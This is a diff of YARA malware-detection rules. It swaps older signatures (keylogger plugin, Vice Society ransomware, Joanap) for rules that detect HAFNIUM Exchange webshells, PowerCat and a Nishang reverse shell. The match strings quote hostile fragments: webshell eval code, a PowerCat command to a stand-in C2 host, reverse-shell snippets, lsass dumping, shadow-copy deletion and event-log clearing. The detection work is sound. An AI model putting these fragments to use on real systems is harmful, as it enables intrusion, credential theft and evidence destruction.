-		reference = "http://www.spiegel.de/media/media-35668.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/spy_querty_fiveeyes.yar#L193-L216"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "597082f05bfd3225587d480c30f54a7a1326a892"
-		logic_hash = "7d2617e0ee41ea475608757594cba8ae93f2dbb09b5d01d1fa3324b32ebb8aa0"
+		reference = "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hafnium.yar#L35-L48"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "eb86595956092506c2e29373faaf39a3987f9feed36a53b191bedd498db05cbb"
 		score = 75
 		quality = 85
 		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "<configFileName>20120_cmdDef.xml</configFileName>" fullword ascii
-		$s1 = "<name>20120.dll</name>" fullword ascii
-		$s2 = "<codebase>\"Reserved for future use.\"</codebase>" fullword ascii
-		$s3 = "<plugin xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:noNamespaceS" ascii
-		$s4 = "<platform type=\"1\">" fullword ascii
-		$s5 = "</plugin>" fullword ascii
-		$s6 = "</pluginConfig>" fullword ascii
-		$s7 = "<pluginConfig>" fullword ascii
-		$s8 = "</platform>" fullword ascii
-		$s9 = "</lpConfig>" fullword ascii
-		$s10 = "<lpConfig>" fullword ascii
+		$s1 = "lsass.exe C:\\windows\\temp\\lsass" ascii wide fullword
+		$s2 = "c:\\ProgramData\\it.zip" ascii wide fullword
+		$s3 = "powercat.ps1'); powercat -c" ascii wide fullword
 
 	condition:
-		all of them
+		1 of them
 }
-rule SIGNATURE_BASE_Fiveeyes_QUERTY_Malwaresig_20121_Cmddef
+rule SIGNATURE_BASE_APT_WEBSHELL_HAFNIUM_Chopper_Webshell : APT HAFNIUM WEBSHELL FILE
 {
 	meta:
-		description = "FiveEyes QUERTY Malware - file 20121_cmdDef.xml"
-		author = "Florian Roth (Nextron Systems)"
-		id = "2deb73f7-372e-5d29-a077-431ab1967d93"
-		date = "2015-01-18"
+		description = "Detects Chopper WebShell Injection Variant (not only Hafnium related)"
+		author = "Markus Neis,Swisscom"
+		id = "25dcf166-4aea-5680-b161-c5fc8d74b987"
+		date = "2021-03-05"
 		modified = "2023-12-05"
-		reference = "http://www.spiegel.de/media/media-35668.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/spy_querty_fiveeyes.yar#L218-L251"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "64ac06aa4e8d93ea6063eade7ce9687b1d035907"
-		logic_hash = "d73f0e964bd57ed3a2cd782ac204a2b82a9b334e33d64dc61e6414654d7c38d3"
+		reference = "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hafnium.yar#L50-L65"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c185a8da2a18fa59a8eeb36dbd95ba12c9c61717efc5f2d19d2d5b27ee243f2b"
 		score = 75
-		quality = 83
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		quality = 85
+		tags = "APT, HAFNIUM, WEBSHELL, FILE"
 
 	strings:
-		$s0 = "<shortDescription>Keystroke Logger Plugin.</shortDescription>" fullword ascii
-		$s1 = "<message>Failed to get File Time</message>" fullword ascii
-		$s2 = "<description>Keystroke Logger Plugin.</description>" fullword ascii
-		$s3 = "<message>Failed to set File Time</message>" fullword ascii
-		$s4 = "</commands>" fullword ascii
-		$s5 = "<commands>" fullword ascii
-		$s6 = "</version>" fullword ascii
-		$s7 = "<associatedImplantId>20120</associatedImplantId>" fullword ascii
-		$s8 = "<message>No Comms. with Driver</message>" fullword ascii
-		$s9 = "</error>" fullword ascii
-		$s10 = "<message>Invalid File Size</message>" fullword ascii
-		$s11 = "<platforms>Windows (User/Win32)</platforms>" fullword ascii
-		$s12 = "<message>File Size Mismatch</message>" fullword ascii
-		$s13 = "<projectpath>plugin/Utility</projectpath>" fullword ascii
-		$s14 = "<pluginsDepend>None</pluginsDepend>" fullword ascii
-		$s15 = "<dllDepend>None</dllDepend>" fullword ascii
-		$s16 = "<pluginname>E_QwertyIM</pluginname>" fullword ascii
-		$s17 = "<rightsRequired>None</rightsRequired>" fullword ascii
-		$s18 = "<minorType>0</minorType>" fullword ascii
-		$s19 = "<code>00001002</code>" fullword ascii
-		$s20 = "<code>00001001</code>" fullword ascii
+		$x1 = "runat=\"server\">" nocase
+		$s1 = "<script language=\"JScript\" runat=\"server\">function Page_Load(){eval(Request" nocase
+		$s2 = "protected void Page_Load(object sender, EventArgs e){System.IO.StreamWriter sw = new System.IO.StreamWriter(Request.Form[\"p\"] , false, Encoding.Default);sw.Write(Request.Form[\"f\"]);"
+		$s3 = "<script language=\"JScript\" runat=\"server\"> function Page_Load(){eval (Request[\"" nocase
 
 	condition:
-		12 of them
+		filesize <10KB and $x1 and 1 of ($s*)
 }
-rule SIGNATURE_BASE_APT_MAL_RANSOM_Vicesociety_Polyvice_Jan23_1 : FILE
+rule SIGNATURE_BASE_APT_WEBSHELL_Tiny_Webshell : APT HAFNIUM WEBSHELL FILE
 {
 	meta:
-		description = "Detects NTRU-ChaChaPoly (PolyVice) malware used by Vice Society"
-		author = "Florian Roth (Nextron Systems)"
-		id = "e450407c-6c21-56bf-aedf-8e7f3890abe2"
-		date = "2023-01-12"
-		modified = "2023-01-13"
-		reference = "https://www.sentinelone.com/labs/custom-branded-ransomware-the-vice-society-group-and-the-threat-of-outsourced-development/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ransom_vicesociety_dec22.yar#L2-L31"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3c7b76a693e5666515afee5c819b21e119ce5f1b0be675252673e6a24251ce8d"
+		description = "Detects WebShell Injection"
+		author = "Markus Neis,Swisscom"
+		id = "aa2fcecc-4c8b-570d-a81a-5dfb16c04e05"
+		date = "2021-03-05"
+		modified = "2023-12-05"
+		reference = "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hafnium.yar#L67-L82"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "099c8625c58b315b6c11f5baeb859f4c"
+		logic_hash = "9309f9b57353b6fe292048d00794699a8637a3e6e429c562fb36c7e459003a3b"
 		score = 75
-		quality = 60
-		tags = "FILE"
-		hash1 = "326a159fc2e7f29ca1a4c9a64d45b76a4a072bc39ba864c49d804229c5f6d796"
-		hash2 = "8c8cb887b081e0d92856fb68a7df0dabf0b26ed8f0a6c8ed22d785e596ce87f4"
-		hash3 = "9d9e949ecd72d7a7c4ae9deae4c035dcae826260ff3b6e8a156240e28d7dbfef"
+		quality = 85
+		tags = "APT, HAFNIUM, WEBSHELL, FILE"
 
 	strings:
-		$x1 = "C:\\Users\\root\\Desktop\\niX\\CB\\libntru\\" ascii
-		$s1 = "C:\\Users\\root" ascii fullword
-		$s2 = "#DBG: target = %s" ascii fullword
-		$s3 = "# ./%s [-p <path>]/[-f <file> ] [-e <enc.extension>] [-m <requirements file name>]" ascii fullword
-		$s4 = "### ################# ###" ascii fullword
-		$op1 = { 89 ca 41 01 fa 89 ef 8b 6c 24 24 44 89 c9 09 d1 44 31 e6 89 c8 }
-		$op2 = { bd 02 00 00 00 29 cd 48 0f bf d1 8b 44 46 02 01 44 53 02 8d 54 0d 00 83 c1 02 48 0f bf c2 }
-		$op3 = { 48 29 c4 4c 8d 74 24 30 4c 89 f1 e8 46 3c 00 00 84 c0 41 89 c4 0f 85 2b 02 00 00 0f b7 45 f2 }
+		$x1 = "<%@ Page Language=\"Jscript\" Debug=true%>"
+		$s1 = "=Request.Form(\""
+		$s2 = "eval("
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and (1 of ($x*) or 2 of them ) or 4 of them
+		filesize <300 and all of ($s*) and $x1
 }
-rule SIGNATURE_BASE_APT_MAL_RANSOM_Vicesociety_Chily_Jan23_1 : FILE
+rule SIGNATURE_BASE_HKTL_PS1_Powercat_Mar21 : FILE
 {
 	meta:
-		description = "Detects Chily or SunnyDay malware used by Vice Society"
+		description = "Detects PowerCat hacktool"
 		author = "Florian Roth (Nextron Systems)"
-		id = "1be4adb9-e60c-5023-9230-07f5fd16daaa"
-		date = "2023-01-12"
+		id = "ae3963e8-2fe9-5bc3-bf72-95f136622832"
+		date = "2021-03-02"
 		modified = "2023-12-05"
-		reference = "https://www.sentinelone.com/labs/custom-branded-ransomware-the-vice-society-group-and-the-threat-of-outsourced-development/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ransom_vicesociety_dec22.yar#L33-L63"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "fc2967d86bf73033e68b8b9409a197ae8f7fcdf06e1e2a17e3d277d243caa541"
-		score = 80
-		quality = 83
+		reference = "https://github.com/besimorhino/powercat"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hafnium.yar#L84-L103"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cbd5c6f7c5b4ed713482588ee4490a2326fe11cfaacfb3bfc6a6d94130a8bc83"
+		score = 75
+		quality = 85
 		tags = "FILE"
-		hash1 = "4dabb914b8a29506e1eced1d0467c34107767f10fdefa08c40112b2e6fc32e41"
+		hash1 = "c55672b5d2963969abe045fe75db52069d0300691d4f1f5923afeadf5353b9d2"
 
 	strings:
-		$x1 = ".[Chily@Dr.Com]" ascii fullword
-		$s1 = "localbitcoins.com/buy_bitcoins'>https://localbitcoins.com/buy_bitcoins</a>" ascii fullword
-		$s2 = "C:\\Users\\root\\Desktop" ascii fullword
-		$s3 = "for /F \"tokens=*\" %1 in ('wevtutil.exe el') DO wevtutil.exe cl \"%1\"" wide fullword
-		$s4 = "cd %userprofile%\\documents\\" wide
-		$s5 = "noise.bmp" wide fullword
-		$s6 = " Execution time: %fms (1sec=1000ms)" ascii fullword
-		$s7 = "/c vssadmin.exe Delete Shadows /All /Quiet" wide fullword
-		$op1 = { 4c 89 c5 89 ce 89 0d f5 41 02 00 4c 89 cf 44 8d 04 49 0f af f2 89 15 e9 41 02 00 44 89 c0 }
-		$op2 = { 48 8b 03 48 89 d9 ff 50 10 84 c0 0f 94 c0 01 c0 48 83 c4 20 5b }
-		$op3 = { 31 c0 47 8d 2c 00 45 85 f6 4d 63 ed 0f 8e ec 00 00 00 0f 1f 80 00 00 00 00 0f b7 94 44 40 0c 00 00 83 c1 01 }
+		$x1 = "powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.com" ascii fullword
+		$x2 = "try{[byte[]]$ReturnedData = $Encoding.GetBytes((IEX $CommandToExecute 2>&1 | Out-String))}" ascii fullword
+		$s1 = "Returning Encoded Payload..." ascii
+		$s2 = "$CommandToExecute =" ascii fullword
+		$s3 = "[alias(\"Execute\")][string]$e=\"\"," ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <500KB and (1 of ($x*) or 3 of them ) or 4 of them
+		uint16(0)==0x7566 and filesize <200KB and 1 of ($x*) or 3 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_TA18_149A_Joanap_Sample1 : FILE
+rule SIGNATURE_BASE_HKTL_Nishang_PS1_Invoke_Powershelltcponeline
 {
 	meta:
-		description = "Detects malware from TA18-149A report by US-CERT"
+		description = "Detects PowerShell Oneliner in Nishang's repository"
 		author = "Florian Roth (Nextron Systems)"
-		id = "a3a4f9a6-367d-5d99-bffb-f4ff03fa4a09"
-		date = "2018-05-30"
+		id = "0218ebbd-2dbe-5838-ab53-1e78e3f97b9e"
+		date = "2021-03-03"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/alerts/TA18-149A"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ta18_149A.yar#L13-L34"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "746c74713ac52f62d5a5c41d2c9321e00481a45aa2c23f1695fab0f5b6d5dfb4"
+		reference = "https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcpOneLine.ps1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hafnium.yar#L105-L119"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "59622bff95de1077d26ee4547f37cd1045c0c1fc6817df40ff2564b33a962a07"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "ea46ed5aed900cd9f01156a1cd446cbb3e10191f9f980e9f710ea1c20440c781"
+		tags = ""
+		hash1 = "2f4c948974da341412ab742e14d8cdd33c1efa22b90135fcfae891f08494ac32"
 
 	strings:
-		$x1 = "cmd.exe /q /c net share adnim$" ascii
-		$x2 = "\\\\%s\\adnim$\\system32\\%s" fullword ascii
-		$s1 = "SMB_Dll.dll" fullword ascii
-		$s2 = "%s User or Password is not correct!" fullword ascii
-		$s3 = "perfw06.dat" fullword ascii
+		$s1 = "=([text.encoding]::ASCII).GetBytes((iex $" ascii wide
+		$s2 = ".GetStream();[byte[]]$" ascii wide
+		$s3 = "New-Object Net.Sockets.TCPClient('" ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and (pe.imphash()=="f0087d7b90876a2769f2229c6789fcf3" or 1 of ($x*) or 2 of them )
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_TA18_149A_Joanap_Sample2 : FILE
+rule SIGNATURE_BASE_WEBSHELL_ASPX_Sportsball
 {
 	meta:
-		description = "Detects malware from TA18-149A report by US-CERT"
-		author = "Florian Roth (Nextron Systems)"
-		id = "9f4e6e6c-ee2b-5fa3-bf85-5a1652b38c52"
-		date = "2018-05-30"
+		description = "The SPORTSBALL webshell allows attackers to upload files or execute commands on the system."
+		author = "threatintel@volexity.com"
+		id = "25b23a4c-8fc7-5d6f-b4b5-46fe2c1546d8"
+		date = "2021-03-01"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/alerts/TA18-149A"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ta18_149A.yar#L36-L55"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "046135e4a1161841835cd9d10e13224b440e914ce3f409bad84a1df2638a7d5f"
+		reference = "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hafnium.yar#L159-L180"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "2fa06333188795110bba14a482020699a96f76fb1ceb80cbfa2df9d3008b5b0a"
+		logic_hash = "5ec5e52922e97a3080d397b69b2f42f09daa995271e218ea085fa2ec4e3abad2"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "077d9e0e12357d27f7f0c336239e961a7049971446f7a3f10268d9439ef67885"
+		tags = ""
 
 	strings:
-		$s1 = "%SystemRoot%\\system32\\svchost.exe -k Wmmvsvc" fullword ascii
-		$s2 = "%SystemRoot%\\system32\\svchost.exe -k SCardPrv" fullword ascii
-		$s3 = "%SystemRoot%\\system32\\Wmmvsvc.dll" fullword ascii
-		$s4 = "%SystemRoot%\\system32\\scardprv.dll" fullword ascii
+		$uniq1 = "HttpCookie newcook = new HttpCookie(\"fqrspt\", HttpContext.Current.Request.Form"
+		$uniq2 = "ZN2aDAB4rXsszEvCLrzgcvQ4oi5J1TuiRULlQbYwldE="
+		$var1 = "Result.InnerText = string.Empty;"
+		$var2 = "newcook.Expires = DateTime.Now.AddDays("
+		$var3 = "System.Diagnostics.Process process = new System.Diagnostics.Process();"
+		$var4 = "process.StandardInput.WriteLine(HttpContext.Current.Request.Form[\""
+		$var5 = "else if (!string.IsNullOrEmpty(HttpContext.Current.Request.Form[\""
+		$var6 = "<input type=\"submit\" value=\"Upload\" />"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <600KB and (pe.imphash()=="e8cd12071a8e823ebc434c8ee3e23203" or 2 of them )
+		any of ($uniq*) or all of ($var*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_TA18_149A_Joanap_Sample3 : FILE
+rule SIGNATURE_BASE_WEBSHELL_CVE_2021_27065_Webshells : CVE_2021_27065 FILE
 {
 	meta:
-		description = "Detects malware from TA18-149A report by US-CERT"
-		author = "Florian Roth (Nextron Systems)"
-		id = "1c2551bc-01dd-5b30-a4cc-703a868cde73"
-		date = "2018-05-30"
+		description = "Detects web shells dropped by CVE-2021-27065. All actors, not specific to HAFNIUM. TLP:WHITE"
+		author = "Joe Hannon, Microsoft Threat Intelligence Center (MSTIC)"
+		id = "27677f35-24a3-59cc-a3ad-b83884128da7"
+		date = "2021-03-05"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/alerts/TA18-149A"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ta18_149A.yar#L57-L78"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a3da6c70d2ab94820324a55f1bcdcf5507a8ddf26efc80904daf0d9b27ac9312"
+		reference = "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hafnium.yar#L182-L200"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "71795ba67bc8a4cea06b93da34b6291029ff74b200e37eb66f6ac51a6ff194cd"
 		score = 75
-		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "a1c483b0ee740291b91b11e18dd05f0a460127acfc19d47b446d11cd0e26d717"
+		quality = 61
+		tags = "CVE-2021-27065, FILE"
 
 	strings:
-		$s1 = "mssvcdll.dll" fullword ascii
-		$s2 = "https://www.google.com/index.html" fullword ascii
-		$s3 = "LOGINDLG" fullword wide
-		$s4 = "rundll" fullword ascii
-		$s5 = "%%s\\%%s%%0%dd.%%s" fullword ascii
-		$s6 = "%%s\\%%s%%0%dd" fullword ascii
+		$script1 = "script language" ascii wide nocase
+		$script2 = "page language" ascii wide nocase
+		$script3 = "runat=\"server\"" ascii wide nocase
+		$script4 = "/script" ascii wide nocase
+		$externalurl = "externalurl" ascii wide nocase
+		$internalurl = "internalurl" ascii wide nocase
+		$internalauthenticationmethods = "internalauthenticationmethods" ascii wide nocase
+		$extendedprotectiontokenchecking = "extendedprotectiontokenchecking" ascii wide nocase
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and (pe.imphash()=="f6f7b2e00921129d18061822197111cd" or 3 of them )
+		filesize <50KB and any of ($script*) and ($externalurl or $internalurl) and $internalauthenticationmethods and $extendedprotectiontokenchecking
 }
-rule SIGNATURE_BASE_APT_Webshell_Tiny_1 : FILE
+rule SIGNATURE_BASE_APT_MAL_ASPX_HAFNIUM_Chopper_Mar21_3 : FILE
 {
 	meta:
-		description = "Detetcs a tiny webshell involved in the Australian Parliament House network compromise"
+		description = "Detects HAFNIUM ASPX files dropped on compromised servers"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e65a8920-0684-5aae-a2b8-079c2beae08a"
-		date = "2019-02-18"
+		id = "9c2ba123-63c4-5e9c-a08f-bd9db3304691"
+		date = "2021-03-07"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/cyb3rops/status/1097423665472376832"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_aus_parl_compromise.yar#L12-L23"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "277162f720195c94d36fd3350d0dda785007e8cc6ed2ab2aa1a6a6262f2993fa"
-		score = 75
+		reference = "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hafnium.yar#L202-L216"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "391b366d78c2f24dc006a5365ec232a9a3c2fe0ea514b18897701ceeffcc81ca"
+		score = 85
 		quality = 85
 		tags = "FILE"
 
 	strings:
-		$x1 = "eval(" ascii wide
+		$s1 = "runat=\"server\">void Page_Load(object" ascii wide
+		$s2 = "Request.Files[0].SaveAs(Server.MapPath(" ascii wide
 
 	condition:
-		( uint16(0)==0x3f3c or uint16(0)==0x253c) and filesize <40 and $x1
+		filesize <50KB and all of them
 }
-rule SIGNATURE_BASE_APT_Webshell_AUS_Tiny_2 : FILE
+rule SIGNATURE_BASE_APT_MAL_ASPX_HAFNIUM_Chopper_Mar21_4 : FILE
 {
 	meta:
-		description = "Detetcs a tiny webshell involved in the Australian Parliament House network compromise"
+		description = "Detects HAFNIUM ASPX files dropped on compromised servers"
 		author = "Florian Roth (Nextron Systems)"
-		id = "4746d4ce-628a-59b0-9032-7e0759d96ad3"
-		date = "2019-02-18"
+		id = "93f5b682-642d-5edf-84a9-296bf12cd72b"
+		date = "2021-03-07"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/cyb3rops/status/1097423665472376832"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_aus_parl_compromise.yar#L25-L38"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e26c265d2b1606257d8c843921601f14cae2beaf246f8e37daeeb6c5ff12f289"
-		score = 75
-		quality = 85
+		reference = "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hafnium.yar#L218-L233"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "933ab74a0e30e2a728444d491c9eb0ff134db05d905aeb48efe3ba65674a3730"
+		score = 85
+		quality = 79
 		tags = "FILE"
-		hash1 = "0d6209d86f77a0a69451b0f27b476580c14e0cda15fa6a5003aab57a93e7e5a5"
 
 	strings:
-		$x1 = "Request.Item[System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(\"[password]\"))];" ascii
-		$x2 = "eval(arguments,System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(\"" ascii
+		$s1 = "<%@Page Language=\"Jscript\"%>" ascii wide nocase
+		$s2 = ".FromBase64String(" ascii wide nocase
+		$s3 = "eval(System.Text.Encoding." ascii wide nocase
 
 	condition:
-		( uint16(0)==0x3f3c or uint16(0)==0x253c) and filesize <1KB and 1 of them
+		filesize <850 and all of them
 }
-rule SIGNATURE_BASE_APT_Webshell_AUS_Jscript_3 : FILE
+rule SIGNATURE_BASE_APT_HAFNIUM_Forensicartefacts_WER_Mar21_1 : CVE_2021_26857 FILE
 {
 	meta:
-		description = "Detetcs a webshell involved in the Australian Parliament House network compromise"
+		description = "Detects a Windows Error Report (WER) that indicates and exploitation attempt of the Exchange server as described in CVE-2021-26857 after the corresponding patches have been applied. WER files won't be written upon successful exploitation before applying the patch. Therefore, this indicates an unsuccessful attempt."
 		author = "Florian Roth (Nextron Systems)"
-		id = "ff7e780b-ccf9-53b6-b741-f04a8cbaf580"
-		date = "2019-02-18"
+		id = "06771101-10ce-5d6b-99f7-a321aade7f69"
+		date = "2021-03-07"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/cyb3rops/status/1097423665472376832"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_aus_parl_compromise.yar#L40-L53"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e144e555dd80e15ac9072a645e629a86ca1a6b52949d236ec3daedbf06bd6718"
-		score = 75
+		reference = "https://twitter.com/cyb3rops/status/1368471533048446976"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hafnium.yar#L235-L250"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2e135cb47f9fb5ca19ee1058fa6b4f39c098d2dfbab69bc19e80412ab695f126"
+		score = 40
 		quality = 85
-		tags = "FILE"
-		hash1 = "7ac6f973f7fccf8c3d58d766dec4ab7eb6867a487aa71bc11d5f05da9322582d"
+		tags = "CVE-2021-26857, FILE"
 
 	strings:
-		$s1 = "<%@ Page Language=\"Jscript\" validateRequest=\"false\"%><%try{eval(System.Text.Encoding.UTF8.GetString(Convert.FromBase64String" ascii
-		$s2 = ".Item[\"[password]\"])),\"unsafe\");}" ascii
+		$s1 = "AppPath=c:\\windows\\system32\\inetsrv\\w3wp.exe" wide fullword
+		$s7 = ".Value=w3wp#MSExchangeECPAppPool" wide
 
 	condition:
-		uint16(0)==0x6568 and filesize <1KB and all of them
+		uint16(0)==0xfeff and filesize <8KB and all of them
 }
-rule SIGNATURE_BASE_APT_Webshell_AUS_4 : FILE
+rule SIGNATURE_BASE_APT_HAFNIUM_Forensicartefacts_Cab_Recon_Mar21_1 : FILE
 {
 	meta:
-		description = "Detetcs a webshell involved in the Australian Parliament House network compromise"
+		description = "Detects suspicious CAB files used by HAFNIUM for recon activity"
 		author = "Florian Roth (Nextron Systems)"
-		id = "bb5b10d1-3528-5361-92fc-8440c65dcda4"
-		date = "2019-02-18"
+		id = "b0caf9d9-af0a-5181-85e4-6091cd6699e3"
+		date = "2021-03-11"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/cyb3rops/status/1097423665472376832"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_aus_parl_compromise.yar#L56-L71"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4a4f26b50631021979e4a8246a1e1c10150f4fb03eb7d77a1042e41ef57b3961"
-		score = 75
+		reference = "https://discuss.elastic.co/t/detection-and-response-for-hafnium-activity/266289/3?u=dstepanic"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hafnium.yar#L252-L273"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "de3acb2d01ad14d73263af9e62ef7c715cde259e3f2fbbcbbb41d55589c3f0ab"
+		score = 70
 		quality = 85
 		tags = "FILE"
-		hash1 = "83321c02339bb51735fbcd9a80c056bd3b89655f3dc41e5fef07ca46af09bb71"
 
 	strings:
-		$s1 = "wProxy.Credentials = new System.Net.NetworkCredential(pusr, ppwd);" fullword ascii
-		$s2 = "{return System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(" ascii
-		$s3 = ".Equals('User-Agent', StringComparison.OrdinalIgnoreCase))" ascii
-		$s4 = "gen.Emit(System.Reflection.Emit.OpCodes.Ret);" fullword ascii
